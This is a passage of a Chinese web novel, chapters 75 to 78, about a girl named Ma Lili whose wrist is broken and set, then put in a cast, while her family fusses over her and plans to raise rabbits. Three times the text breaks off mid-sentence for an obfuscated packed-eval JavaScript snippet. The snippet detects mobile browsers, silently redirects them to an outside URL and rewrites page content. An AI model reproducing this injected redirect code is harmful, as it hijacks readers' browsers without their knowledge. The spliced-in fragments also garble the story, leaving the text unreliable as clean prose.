相对论在这一刻得到证实，马丽丽痛到死去活来感觉看到了世界的尽头，其实也就过了五分钟。 开始那一下最痛，熬过去就好了。 完事彭医生擦了擦额头，又擦了擦手，回屋去拿了夹板和一瓶药，用小木条挑起黑乎乎的药膏薄涂在马丽丽手腕上，用有些泛黄的纱布包好，再夹上夹板，用一根纱布挂在马丽丽脖子上。 彭医生：“好了，这个药不用换，你们还是要去县医院上石膏，到时候直接把药擦掉就好了。” 徐明惠：“好好，麻烦你了，彭医生，谢谢你，这个，我要给多少钱诊费？” 彭医生摆摆手：“正骨不用，拿五块钱药钱吧，我的药里面加了红花，这个比较贵。” “哎哎，好。”那不贵，徐明惠麻溜的掏钱。 再次道谢后，徐明惠和赖老师带着马丽丽离开了，两个老师又在学校门口分开，反正都请了假，徐明惠带着马丽丽回家。 一路上徐明惠各种嘘寒问暖，让马丽丽充分感受了一把母爱。 回到家楼下，徐明惠小心把马丽丽扶下车，她锁好车，对马丽丽说：“我先上楼开门，你慢慢上来。” 马丽丽：…… 有母爱，但好像不多。 75.第七十五章 爬吧，马丽丽走的小心翼翼，不知道是不是她的错觉，怎么每上一个台阶手都好像会震的刺痛刺痛的。 “妈，妈！” “干嘛？”徐明惠从厨房出来，她开启灶台大锅，准备烧水给马丽丽好好洗洗。 “给我脱一下衣服，袖子勒得很。” 为了正骨，马丽丽的袖子被高高撸起，勒得手臂已经变麻了。徐明惠过来调试了半天，也无法突破夹板把袖子脱下来。 虽然衣服大了一个码，但要超过夹板，除非把夹板先拆了，可是才刚刚正好骨上好药，徐明惠心有余悸，不敢下手。 “要不把袖子拆了吧？” “要不今天别洗了吧？” 马丽丽：…… 徐明惠：…… 马丽丽暴起：“我都摔一头一脸泥巴了还不洗？晚上就着泥巴睡觉，那被子还要吗？” 这……说的有道理，但拆衣服是不可能拆的，徐明惠只能硬着头皮拆夹板，折腾了好半天才在马丽丽的配合下把夹板拿下来，然后又给马丽丽套上塑料袋，还拿出她早就不用的大木盆来洗头洗澡。 又享受了一把母爱。 把剩下的活干完之后，徐明惠十死如归的带着马丽丽回娘家蹭饭，然后果然被骂了个狗血淋头。 “都30好几的人了还这么不小心，骑个单车还能摔跤。自己摔了就算了，你倒是没事，还把马丽丽手给摔折了，有你这么当妈的吗？啊？折的还是右手，万一以后落下个病根怎么办？” 徐明惠不语，只是一味的扒白饭。 明明中秋才过了不久，可是今天徐家晚饭桌上的气氛却犹如寒冬腊月。 桌子上有一盘酱排骨，是发现马丽丽骨折后，姥姥加的菜。马丽丽就爱啃脆骨，这会儿啃得津津有味，就好像完全没有发现桌上气氛的不对劲。 最近受不了的是徐明红，虽然她碗里有一块马丽丽特地给她夹的酱排骨，但是她完全不敢动，就着一块白菜帮子嚼了半天，在桌下疯狂的踢马丽丽的脚。 不是马丽丽不会看眼色，气大伤肝的道理她也懂，但总得让姥爷把气发一发嘛，憋着也是不好的。 “行了行了，骂两句得了，你肝不好，还生那么大气干嘛？丽丽，这是你喜欢的嫩南瓜，特地给你留的。”姥姥孙梅端着一碗嫩南瓜炒酸辣椒出来放在桌上。 “还是姥姥对我好。”马丽丽笑嘻嘻的夹了一筷子嫩南瓜放在姥爷碗里，又夹了一块排骨，趁机对姥爷说：“姥爷，这也不全是我妈的错噻，是泥巴地太滑了，还是你身体重要，别气了别气啦。” “哼。”徐正义又把排骨夹回马丽丽碗里，“这排骨全是骨头没什么肉，有什么吃头？就你们小孩子喜欢吃，你自己吃。” 几人劝说了一番，徐正义终于消了点气。 这时，突然有人轻轻敲了几下门。 “谁呀？”姥姥过去打开门，门外是端着一碗饺子的田姥姥。 田文珠：“丽丽她姥姥，今天我们家老头子叫王军过来吃饺子，我听见丽丽来了，也给她留了一碗。” 孙梅：“哎呀看你这客气的，丽丽？” 来了，马丽丽吐掉骨头，心想我妈这第八十一难来了。 “田姥姥。”马丽丽上前，“啥馅的饺子啊？” “猪肉白菜的，哎呦，丽丽，咋回事儿这是？手咋了？骨折了吗这是？怎么搞的？哎呦哎呦喂，疼不疼啊？” 田姥姥装的好像刚才没在隔壁听到半点动静似的，只一味的心疼。 这时隔壁门立时打开，孙振海探出半个身子，“怎么？谁骨折了？马丽丽，你手怎么回事儿？”后面王军从上面伸出个头，努力看怎么个事儿。 孙梅：…… 徐明惠：…… 马丽丽还礼貌打招呼：“孙爷爷晚好啊，吃了吗？王老师，嘿，吃着呢？” “哎哎”，王军的脑袋缓缓缩了回去。 一眨眼，孙振海、田文珠、王军都坐在了徐家。王军还端了盘饺子坐在徐明红另一边，一口瓜一口饺子。 太惨了，太惨了。 徐正义：“老哥你说是不是？都年纪一把了还能摔跤，还老师呢。” 孙振海：“是呢是呢。” 徐正义：“平时就一副糊涂样，得亏我们丽丽自己争气，不然我迟早给徐明惠气死。” 孙振海：“哎呀老弟，不至于不至于，明惠还是不错的，偶尔犯错可以原谅。” 徐正义：“什么偶尔，偶尔摔一下，就把丽丽摔了？看把丽丽给摔的，哎呦，真是，我就怕她以后落下什么病根，右手腕，不是闹着玩的。” 孙振海：“多补钙，必须多补补，哎，我那有买的钙片，要不拿点来给马丽丽吃。” 徐正义：“不用不用。” 马丽丽插嘴：“不用孙爷爷，把你们每天吃的鸡蛋的壳给我留着，磨成粉沫沫，我一天吃一勺子，简单又省钱。” 孙振海：“瞎扯淡，蛋壳怎么能吃，这样，明天办公室的小谭要去市里，我让他买点小孩儿吃的，就这样就这样。” 徐正义：“哎，这不行这不行，我们自己也能买，明惠，天华不是正好在章市吗？让他买瓶钙片。” 徐明惠：“我怎么叫他？他都已经去了，等……” 徐明红一脚踩在大姐脚上，又猛踢了两下。 徐明惠：“等我问问有没有人这两天去市里的。” 徐正义和孙振海就谁给马丽丽买钙片相互争论了两句，孙振海道：“你也甭跟我争，这是我给马丽丽的，咱俩你买你的我买我的，啊，反正让丽丽慢慢吃的去，就这样，啊，我回了。” 田文珠和王军也跟着回去，王军还拍了拍鞋面才起身，徐明红一开始没在意，过了一会儿突然想明白，脸都红了。 怎么踩人家脚上了，真是太尴尬了。 第二天孙振海卡着点去找了谭主任，也没说原由，就是请他帮忙买几盒“龙牡壮骨颗粒”。 谭主任连声答应，他这回去章市就是去看几个在市里住院的职工，正好顺路。他还在医院遇到了前两天跟车来的马医生，马医生还挺负责，对本厂在住院几个人的情况都蛮了解的，给谭主任省了不少事，谭主任干脆问马医生有没有熟人能直接买药的。 “买药？什么药啊？”马天华问，“嘶，阿托伐他汀钙片、氨氯地平这两天好像是不太好买，要问一下。” “哎呀不是，是龙牡壮骨颗粒，买个十盒吧。” 马天华惊讶道：“这么多？这可不能长期吃的，谁要买啊？” 谭主任：“哦不是我，是孙工，就是住你老丈人隔壁的，他说让我买一点，这药贵吗？” 马天华：“一盒不算贵，十来块钱，你要买十盒就多了，肯定要一百多。” 谭主任：“哎呀没事，孙工说怎么买就怎么买。” 好吧，这个药确实也是老人小孩都能吃的，只是大家一般以为是小孩吃的药，马天华心里暗搓搓的想万一，啊，人孙工跟马丽丽的关系，是吧，这十盒里说不定有她一盒呢，当然也有可能是这边便宜，人家准备邮给儿子的呢，也说不定。 不过马天华也顺便给女儿买了一盒，这药可以补钙，马丽丽现在也到了需要补钙的年纪了。 马天华没有坐谭主任的车回去，他回到家的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360164|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候天都快黑了，家里只有徐明惠在吃饭。 “马丽丽呢？”马天华问。 “她去那边了，今天我妈包包子。”马丽丽是返祖的面食胃，徐明惠却是米饭胃，所以就没去。 徐明惠拍了一下马天华，“一身灰，怎么这次去了这么久？”一般来说马天华只要跟车送到市里医院就能回了，最多一两天，这次却去了差不多一个星期了。 “别提了，按道理本来应该有一个家属陪同去，那钱保国家里没人，就我同着去，半路差点上不来气，我跟司机都差点吓死，还好带了东西，还先到县里抢救了一会儿，我又要打电话跟市医院联系，一到市里就直接进了手术室，我怎么走？” “钱保国家儿子呢？他不是还有个女儿吗？” “嗐，他女儿都嫁到平安去了，也通知了，后来来了，那都是两三天之后的事了。他儿子也是，那会儿还在上班，后来跟他说了也没车来啊，还是第二天李师傅又把车开回来了，说是有人要用车，才把他稍去的。” “哎呦嘞，你就只有这一身？” “带了一套换的，不过外套就带了这一件。先烧水给我洗头洗澡吧，这会儿澡堂也关门了。” “那我烧大锅，快一点，你先洗脸吃饭，我再炒一个菜，把衣服脱了，这都臭了。” “行。” 徐明惠提起马天华的行李包，掂了掂，打开，“这什么？” “哦，这个啊，我给马丽丽买的，龙牡壮骨颗粒，补钙的。哎，这孙工怎么让谭主任帮他买这个，你知道不？还一买就买十盒，是给孙伟名寄的吗？这边还比粤市便宜？”马天华用毛巾擦着头脸，“我看他买，也给丽丽买了一盒，她这年龄吃一点也行，差不多该补钙了。” 徐明惠：“……” 徐明惠不语，放下包，去马丽丽房间拎出来一个马天华觉得眼熟的大塑料袋，打开。 马天华可真是大吃一惊，“这，这怎么在这儿？怎么全在这？全给马丽丽买的？”他数了数，十盒，一盒不少。 原先马天华是猜过孙振海买这么多龙牡壮骨颗粒可能会有给马丽丽买的，但他预想最多有五盒，哪能想到这十盒就是专门给她买的。 伸头是一刀，缩头也是一刀，反正不说马丽丽等会回来也能知道。 “咳咳”，徐明惠战术性咳嗽一声，“其实，那个，前两天你不在家，我骑车带马丽丽去上课的时候摔了，她手骨折了，不过他们说林场医务所一个退休医生会正骨，我已经带她去……” “什么！？马丽丽手骨折了！什么情况？怎么回事？怎么处理的？”马天华再次震惊。 敢情我刚才都白说了是吧？徐明惠深呼吸，啪，折断手里的干竹枝。 “我说，前两天我跟马丽丽起晚了，我带她骑车摔了，她手撑到马路牙子上，右手骨折，我找林场一医生给她治的，不过人家说还是要等你回来带她去县里打石膏，我们现在就只上了个夹板，上了点药。” 马天华也是不知道说什么好。 “你说你，哎呀，骑个车还能摔骨折了，唉，啧，好吧，等下我看看……明天正好是星期六，是大礼拜吗？明天我就带她去，还要先照个片子看一下，保险一点。这个龙牡壮骨颗粒也吃起来，一天三包……难怪人家买这么多……不过算一下这样正好能吃三个月，到时候马丽丽差不多好了。唉，你说你……真是……多给她补补钙吧。” 事已至此，还能咋的。 “明天又去？”徐明惠算了算，“明天是小礼拜，要上班。” “那就请假，小礼拜正好，医院都有人上班。” 这事就这么定了。 76.第七十六章 “明天又去？”徐明惠算了算，“明天是小礼拜，要上班。” “那就请假，小礼拜正好，医院都有人上班。” 这事就这么定了。 一会儿马丽丽回来了，后面还跟着徐明红，给她端了个搪瓷碗，装了大大小小几个糖三角、叉烧包、酸菜包子。 “我回来啦。” “我也来了……呃，姐夫回来了，给，包子，我走了。” 徐明红溜之大吉。 马丽丽：“爸，你回来啦？” 马天华：“我看看你手……你这是什么东西？” 马丽丽的造型有点特别，受伤的手上套了个奇怪的布套子。 “这是姥姥帮我做的啦。” 可能是彭医生上的药有镇痛作用，马丽丽受伤当天晚上不算难过，手腕只是刺刺麻麻的，好像是痛又好像是痒，整得马丽丽全身刺挠。第二天她就发现，因为手上上的夹板，她没法穿进长袖，凉飕飕的秋天，她只能在里面穿个背心，外头披个外套，整个右手一直到肩膀都冷。 马丽丽二话不说就去找姥姥去了。 孙梅听了马丽丽的要求，觉得可以，她找了件姥爷的旧秋衣，把俩袖子拆了下来（姥爷在旁边欲言又止），然后把袖子做成一个手臂防护套，可以套在马丽丽右手臂上。 太长的部分被姥姥裁剪下来做成两条有微弹的布条带子，一条从马丽丽的右肩膀穿到左手腋下，一条套在脖子上，这样套子就不出溜了。 秋衣有弹性，又宽大，防尘又保暖正好合适，外头披上外套也不凉，就是丑了点，不过没事，小孩子要什么好看，好用就行，等天再冷点两个袖子还能改成一个夹棉的，就更保暖了。 马丽丽给老爸展示了一下。 “挺好的，不过先脱下来我给你看看手。” “哦。” 马天华给马丽丽稍微检查了一下，不敢用力。要是是别人，力道只要不会再次造成伤害就行，但这可以自家女儿，亲生的，生怕痛一点点，这样。 “我们明天坐船去游江县，到县医院拍个片子看看，再上个石膏。” “明天去？你不是才回来吗爸？” “我是带你去。” “哦，那我们回老家吗？” “到时候看吧。” 第二天马天华依旧骑着那辆“肇事”车辆，带着马丽丽一大早坐船去游江县。 女儿老公走后，徐明惠算是松了口气。 生活不易，明惠叹气。 之前几天那过的叫啥日子啊，天天被叫过去挨骂，数落了两次就拉倒呗，还来劲了，重点是……她也不敢不去QAQ、 这下好了，马丽丽不在，她也不用再去了。 这边马天华庆幸，还好来的早。今天坐船的人还挺多，马天华把车停放在甲板上，在船尾找了两个座位，让马丽丽坐在靠窗户的那边。 马丽丽今天套了一件小姨徐明红的格子外套，忒大，拉上拉链都到膝盖了，她干脆把左手也缩进去，把俩袖子一甩一甩的。甩了半天也不停，马天华看着烦，一把把马丽丽俩袖子在胸口系了个结。 马丽丽老实不了一会儿，又无聊了，她叫马天华：“爸，给我拉拉脖子上的绳，勒住了，好痒，帮我挠挠。” “哪儿呢？”马天华给她翻看脖子，这脖子上的东西不老少，又是挂夹板的纱布带，又是拉护手套子的布条子，确实挺磨人的，有一小块都红了，就俩布带子后面，还有一个蚊子咬的大包，也不是知道这天都凉了咋还有的蚊子，还能在这种地方咬个包。 马天华拉开带子帮马丽丽抓了几下，呃，抠了一指甲泥垢，他也不嫌弃，又给马丽丽大包上掐了一个十字。 “好多了。”马丽丽舒坦了。 “好好坐着，别碰到你骨折的手，到时候痛死你。”马天华恐吓道。 “哦……不会啦，爸，我又不是小孩子了。” “你还不是小孩子啊。” 边瞎聊着，时间过的就快了。 一路靠了五次岸，船终于到了终点，马天华不急，他的车放在最里头呢，先给马丽丽把衣服整理好，等其他人都走得差不多了，他才护着马丽丽走在最后面，下船的时候还让马丽丽必须等他先把车推下去，他再过来扶着才能下。 “坐好，先坐好，一个手抓好，抓紧。”马天华把马丽丽扶上横杆斜坐着，十分担心的嘱咐了半天，因为从码头到县里这段都是泥巴路，前段时间下雨，怕是路不好走。 磕磕碰碰终于骑到了有水泥路的地方，马天华父女俩都不由呼了口气，这路也太难走了，屁股疼。 马天华在县人民医院有好几个同学，校友就更别说了，他轻车熟路的找了骨科的熟人，插了个队给马丽丽拍X光片。 相片拿到后， 熟人跟马天华解说了半天，最后得出的结论是有坏消息也有好消息，坏消息是没有照过X光片，彭医生不能精确的得知骨折情况，从手法也能看到，在骨科方面他并不是科班出身，所以完全是凭经验和手感正的骨，复位情况很是一般，而且现在也不可能给马丽丽再复一次，只能看她之后的恢复水平了。 好消息是马丽丽骨折后有一小块碎骨，但这块碎骨复位的比较好，不用手术取出，以后应该可以长回去，也不会形成骨刺。 了解完后就开始换石膏，熟人拿来工具，石膏纱布和其他纱布，棉花，一盆水。 先是给马丽丽拆了夹板和纱布，捂了几天，有味儿，不过熟人已经习以为常，他用镊子夹着干净纱布和棉花，沾着水给马丽丽把之前上的黑乎乎的药擦干净，这药之前涂的时候还挺厚的，现在却只剩薄薄一层，熟人很快就擦干净了，然后又给马丽丽手腕上下都清洁了一遍。 马丽丽：舒服多了。 实在无聊，马丽丽开始在心里假装主持人。 各种观众，大家好，现在为您展示的是骨科医生特有技艺：上石膏。好的，医生先生先把带着石膏粉的纱布泡在了水里，他等了一会儿，大概是要完全浸湿，好的，现在他拿起来了，并挤了挤水。 医生小心谨慎的将纱布展开，完全顾不上石膏水滴落在华丽又干净的水磨石地面上。啊，展现技术の时刻，医生现在已经把湿纱布的一头搭在了病人的受伤部位，然后用一种复杂又专业的手法开始缠绕…… 熟人：“这样会紧吗？” 马丽丽：“啊？哦，不会。” 熟人：“哎，你手别动哈，保持放平这样，放松一点，就算有点紧也没关系的哈，这个本来就是为了固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387056|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定。” 把一整卷的纱布都绕在马丽丽手腕上之后，熟人嘱咐马天华过来托着马丽丽的手，保持水平。 “大概五分钟，等纱布干透变硬就好了。”熟人正说着，科室外突然有个人伸进头来叫他，“过来帮我看一下。” “等我一下。” “那你先去忙别的，我们在这等它干。”马天华说。 “那行，我等下再过来。”熟人出出帮忙去了。 过了一会儿，马天华按了按，干的还挺快的，大半都已经硬了。 这时，马丽丽十分无奈的对老爸说：“爸，怎么办，糟糕了。” 马天华：“啊？怎么了？” 马丽丽：“我有点想拉粑。” 马天华：“什么？现在？不行，憋住，等石膏干了再去。” 马丽丽：“憋倒是憋的住啦，但是……我拉完怎么擦屁股？” 啊？ 马天华试探的问：“那你这，这之后几天都没拉过粑？” 马丽丽：“拉过，我妈给我擦的。” 马天华有点崩溃，不是吧？那我还去女厕所给你擦屁股？等会。 马天华：“那你等下要去男厕所拉，不然怎么搞？” 马丽丽抗议：“我是女的怎么能去男厕所？” 马天华：“你是小孩子有什么关系？那我更不能去女厕所啊！” 父女俩大眼瞪小眼，最后马丽丽妥协了，毕竟要上大号的是她。 “那好吧，不过……你有纸吗？” 没有，不过问题不大，这里可是医院，不缺草纸。 过了一会儿，熟人回来，试了试石膏的湿度和硬度。 “可以了，还有一点点湿，不过没事。”熟人用一根纱布绕了几圈，做成一根布条，依旧用马丽丽带来的那根长夹板托着手，挂在脖子上，剩下三根短的夹板也让马天华自己带回去。 马天华顺便问熟人要了几张草纸。 俩父女跑到走廊尽头的厕所去，马丽丽还让老爸先进去看看有没有人。 马丽丽拒绝了老爸帮她脱裤子的建议，自己解决了这个问题。别看她刚才说的时候挺镇定自若，刚上完大号之后让老爸帮自己擦屁股这件事对马丽丽来说还是有点挑战极限。 马天华也是很勉强才接受这件事，而且比起要擦一个带“哗”的屁股，他觉得一直站在这个臭气熏天的厕所里等着更没办法忍受。 “我就不能到外头去等你吗？”马天华隔着坑位门问马丽丽。 “不行！等一下我拉好了叫你听不见怎么办？纸还在你手上呢！哼，要是妈在这里我肯定不要你帮我擦屁股。”马丽丽大声拒绝。 那好吧。 马天华十分尴尬的与进来又出去的男性们相互无视，突然，他脑子灵光一闪，想到一样东西，于是他又隔着门对马丽丽说：“马丽丽你等我一下，我去拿个东西就回来。” “什么！爸，你干嘛去啊？你别走！你把纸给我留下呀。” 马丽丽撕心裂肺的喊声没有留下马天华。 马丽丽：“……” 啊！***！ 马丽丽忍不住口吐芬芳，不敢相信老爸就这么把自己给丢在厕所里了。 能不能靠谱一点啊！**！ 77.第七十七章 等马丽丽蹲着换了几次脚之后，马天华可算回来了，他在外面稀里哗啦一阵捣鼓，让玛丽莉打开一点门塞了一样东西进来。 “这啥？你哪拿的啊爸？” 这玩意马丽丽认识，一个塑料瓶子上有一个喷头，是冲洗用的，里面已经装好了水。 “我上住院部借的，你会用吧？” “……会。” 还挺行，就是有点旧，瞧着是谁用过的。 马丽丽嫌弃的用完，出来问她爸：“这玩意挺好用的，我们也买一个带回去。” 这个可以有。 父女俩就在医院门口的小店买了，还挺贵，要一块钱，看来现在的人就深谙在医院门口开杂货铺的赚钱之道了。 徐明惠也觉得这玩意儿挺不错的，她把冲洗器扔到一边，又去查看马丽丽打了石膏的手。 “医生怎么说啊？”徐明惠问马天华。 马天华：“还行，就是多吃点骨头补补钙，平时小心点。” 那就补起来吧，徐明惠立马去冲了一包龙牡壮骨颗粒给马丽丽喝。 之后马丽丽又去给四个老人展示了一下，正好孙家老两口也过来徐家这边吃饭，还带上了王军。 摆起大圆桌，铁锅炖大鹅，不对，是炖老母鸡，还有红烧猪蹄、紫菜煮大虾干，海带排骨汤。 田文珠先给马丽丽捞了半碗大虾海带和紫菜：“先吃这个，补钙。” 孙梅也给马丽丽拿了个碗，凉着一对鸡翅膀和鸡腿，还有排骨和猪蹄，“吃什么补什么。” “好嘞。”马丽丽含糊的说，她左拿着一个馒头，馒头里面还夹着肉，这是目前为止对她而言最方便的主食。 一口馒头，一口汤，简直不要太爽了。 徐正义轻轻试了一下马丽丽手上的石膏， “这石膏看着也不结实，还是得小心点。” 孙振华：“马丽丽，最近也别折腾了，多休息才能好的快。” “嘿嘿”，徐明红十分好奇的的上手抠了抠，抠了一指甲的石膏粉，她干笑着说：“这硬度也不怎么样呀，怎么感觉跟刷墙的腻子似的？” 王军呵呵一笑，搭上了话：“刷墙用的腻子里头就有这玩意儿。” 徐明红：“我就说嘛。” 马丽丽一伸脖子，把馒头咽下去，看着王军笑嘻嘻的说：“王叔，你咋在这？又来我孙爷爷家蹭饭啊？” 王军腹诽，当着别人面就叫人家王叔，王老师，来学日语的时候，怎么反倒一口一个王军王军的。 田文竹轻轻拍了马丽丽一下，力道就跟拍灰似的，“嘿，怎么说话的，没礼貌，怎么能叫蹭饭？是我让王军来的，怎么着，嫌弃我们一起来你姥姥家蹭饭？” 马丽丽傻笑，“没有没有，那哪能呢？这不是王叔以前来的少吗？” 孙梅拿勺子喂了马丽丽一口菜，说：“王军这周末帮我跟你田姥姥家修了鸡棚，还帮忙搭了个兔子窝，你小舅不是不在吗，不然也不能麻烦人家。” 王军赶忙道：“阿姨，瞧您这话说的。这怎么能叫麻烦呢？我跟高远啥关系，跟丽丽啥关系？再说帮我师傅那不是应该的吗？” 孙梅笑道：“是是，多吃菜啊。” 马丽丽：总觉得有什么不对劲。 诶，不是？ “兔子窝？” 徐正义开口：“我们准备到你大姥爷那弄几只兔子来养，兔子长的快，没几个月就大了，你回去也跟你妈说一声。” 马丽丽心想，养兔子啊？这年头养兔子肯定不是为了当宠物的，所以，兔子怎么做才好吃呀？以前都没吃过。 孙振华也说：“你们家鸡棚还养了这么多鸡鸭，肯定不够位子，到时候我们家的棚子也一起把兔子养起来，多样几只这毛皮才够。” 马丽丽：“毛皮？什么毛皮？兔子毛皮？”养来不是为了吃的吗？ 孙梅：“瞎，还不是你妈，我说过了国庆天就冷了，用咱们家现有的皮子给你做一个套手的筒子，又轻便又暖和又不漏风的，你妈偏不许，不然还用得着现养兔子？” 这个马丽丽知道。 姥爷徐正义有一件羊皮做的坎肩背心，护心肺的。开始穿毛衣毛裤的时候他就穿在里面，冬天冷的时候，外头套一件大棉袄，里头还得穿着一件这个才不冷。 这个姥爷会穿到第二年开春之后，天气热了，穿不住了才会脱下来。 姥姥孙梅手里也有一件毛皮，更了不得了，是一个狼皮做的小褥子。姥姥腿脚年轻的时候就有风湿，这狼皮据说当年姥姥还在鲁省的时候不知从哪弄来的，她到哪去都带着这个。 姥姥生了四个孩子，每次坐月子的时候，不管天有多热，她都必须用这个包着腿，冬天就更不用说了。 就这俩宝贝，还能因为自己就折了个手就剪了给自己做手筒子？就算是自己折的半身不遂，马丽丽也绝不可能用的。 马丽丽赶紧说：“我觉得兔子就挺好的，我还没见过兔子呢，到时候兔子还能吃肉，多划算呀。姥爷，到时候你去抓兔子的时候给我挑好看点的哈，纯白的，纯黑的，诶，对了，有没有那种身上长花的？” 几个大人都笑了，徐正义道：“还长花的，这兔子杂色的最多，行行行，到时候我看看有没有白兔子，多抓几只。” 不过还有一个问题。 “这兔子皮怎么做成手筒子呀？”马丽丽好奇的问。 孙振华说：“这可不容易，这得会专门的猎人手艺，你姥爷说他会。” “嗐”，徐正义谦虚的说，“也不是就光我会，我们那会儿在老家没粮食吃，我们几兄弟就会去打兔子，这手艺，可是我们用十只兔子换的。” 马丽丽/徐明红：“哇！” 厉害厉害，鼓掌鼓掌。 见有人捧场，徐正义来了兴致，“这兔子皮可不是扒了就能用，哎，得先用老碱和肥皂水脱油，之后得用药水泡，泡几天，刮，把上面没搞干净的，乱七八糟的东西都搞干净，然后阴干，麻烦着呢。就算是做好了的兔子皮，也不能在太阳下暴晒，不能用水洗，不然容易坏。” “好麻烦呀。”徐明红感叹。 王军也感慨：“确实，这不会的人还真弄不了，像咱们现在的年轻人，哪会这个呀？还得是您老一辈的人，多才多艺，啥都会。” “哈哈，哪儿呢。”徐正义笑道，“现在也有人会，不过一般人也用不着会，现在都是有加工厂，丽丽她大姥爷家养的兔子也是有加工厂的人来收。” “哦～” 有人一起聊天吃饭就是开心，这顿饭一直吃到晚上八九点才散。 等送走了客人，徐明红拉着马丽丽就回了房间。 “干嘛呀，小姨？这么偷偷摸摸的？” “马丽丽，我问你，你那小说还有存稿吗？你现在都这样了，还怎么写啊？这要是给不了人家稿子怎么办呀？” 对哦，马丽丽恍然大悟，终于想起来她这几天忘记了什么事，掐指一算，她都五天没码过一个字了。 她手里确实还有一点存稿啦，但就目前这个情况，存稿发完肯定就得断更。 “那小姨，你帮我给吕编辑写封信，告诉他我手腕骨折了，没办法写字了。我那里还有几张存稿，到时候你跟信一起寄过去。” “啊？人家能同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399031|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意吗？你们不是签了合同吗？”徐明红有些担心。 “那怎么办？这是不可抗拒的原因，也不是我愿意的呀。” “要不……就像以前那样，我来帮你写？” 行倒是行，不过…… “小姨，你平时还要上班，哪有时间写啊？”说到这里，马丽丽又想起了那台老古董电脑，唉，这会儿要是能有能联网的电脑和打印机该多好呀。 “那还不是能写一点是一点，你都签合同了，万一人家说你违约怎么办？” 这应该不会，只是断更久了也确实是个事儿。 虽然在人家杂志上连载小说，但马丽丽自己却没有订这本杂志。而且因为马丽丽自己的特殊原因，在之前签合同的时候，就特别对编辑说过，不能透露她的联系地址，所以这小说反响咋样，马丽丽还真不知道，也不知道断更久了，人家会不会有意见。 “既然如此，那咱们就有空的时候先写着呗，你先把信寄出去，问问对方怎么办？” “……好吧。” 马丽丽回到家都快九点了，徐明惠正好下了晚自习，她十分惊讶：“这个点才吃了晚饭回来？你们晚上都吃什么呀？你爸呢？” “我爸不是今天值班吗？还没回来呢，隔壁孙爷爷，田姥姥，还有王军都来吃饭了，后来说养兔子的事，说了挺久。” “哦。”这是徐明惠也知道，周末她在家还 帮着收拾鸡棚呢。 “妈，大姥爷家还养着兔子呢？姥爷去的时候我也一起去吧？” “不行，想什么呢，你可别去添乱了，你姥爷一个人去，到时候还得转车，他回来的时候还得带着兔子，怎么弄你呀。” “哦，那算了，诶，不对，小舅不是也在红井县吗，到时候他还能让姥爷一个人回来？” “那也不行，你的手万一又磕了碰了的怎么办？” 马丽丽只能打消了这个主意。 “好了，过来我给你刷牙，等一下烧好了水我先给你擦擦。”徐明惠给马丽丽的小牙刷上挤好牙膏。 “等一下妈，我还没喝药呢。” “哦，那我给你冲，你抓紧喝完。” “兑点凉水，不要这么热的。” “行，行。” 徐明惠给马丽丽冲了一杯龙牡壮骨颗粒，让马丽丽一口喝完，又继续帮她刷牙。 “哎呦，搬到这里来之后，我就没给你刷过牙了，以前你小的时候，这么小个嘴，还得用这么大个牙刷，我帮你刷牙的时候塞都塞不进去。” “@!#%@#$^@%^#@（哪有，我才没有。）” “好了好了，别说话，刷完了。” 刷完牙，徐明惠帮马丽丽脱了多余的外衣，给马丽丽洗了脸、手、屁股和脚，最后让马丽丽赶紧睡觉。 马丽丽躺在床上，还听见老妈在外头忙个不停。 “妈，妈！”马丽丽大喊。 一会儿徐明惠进来，“干嘛？” “你在干嘛呀？我手痒，你帮我挠挠。” “哪？” “石膏里头，我挠不到。” 嗯？徐明惠担心马丽丽的手出问题，她去开了灯，弯下腰检查了一下马丽丽的手，“哪痒？” “这里，这里。”马丽丽点了点。 徐明惠轻轻的将手指伸进去摸了摸，搓了一下，“还痒吗？” “不痒了。” “就你事多。好了，才上的石膏可能会有一点儿，睡觉。” “哦。” 过了几息，徐明惠又轻轻走了进来，只见女儿已经睡熟，还打起了小呼噜，这才放心。 78.第七十八章 又过了一个星期，徐正义去红井县大哥那抓了十只兔子回来，三公七母，才大概半个月大，正好能放在大人的手掌之中，看起来怪可爱的。 这一个星期徐正义也没闲着，和孙振华俩老头弄来一些木条片子做了三个笼子放在鸡棚里，准备未来当兔子窝。 马丽丽发出疑问：“兔子不会把木条子给咬断吗？” 徐正义：…… 孙振华：…… 这个嘛，自然是会的，可是想要做这么大的铁笼子，这不是没材料嘛。 姥爷想了想，把木头笼子底部加上铁丝，四面做成夹层的，两根木条叠一块，中间随机夹了一些干辣椒什么的。等兔子吃了几次苦头，就知道笼子不能咬了。 十只兔子被装在两只竹蔑做的鸡笼里带回来，姥爷和小舅舅一人提了一只。 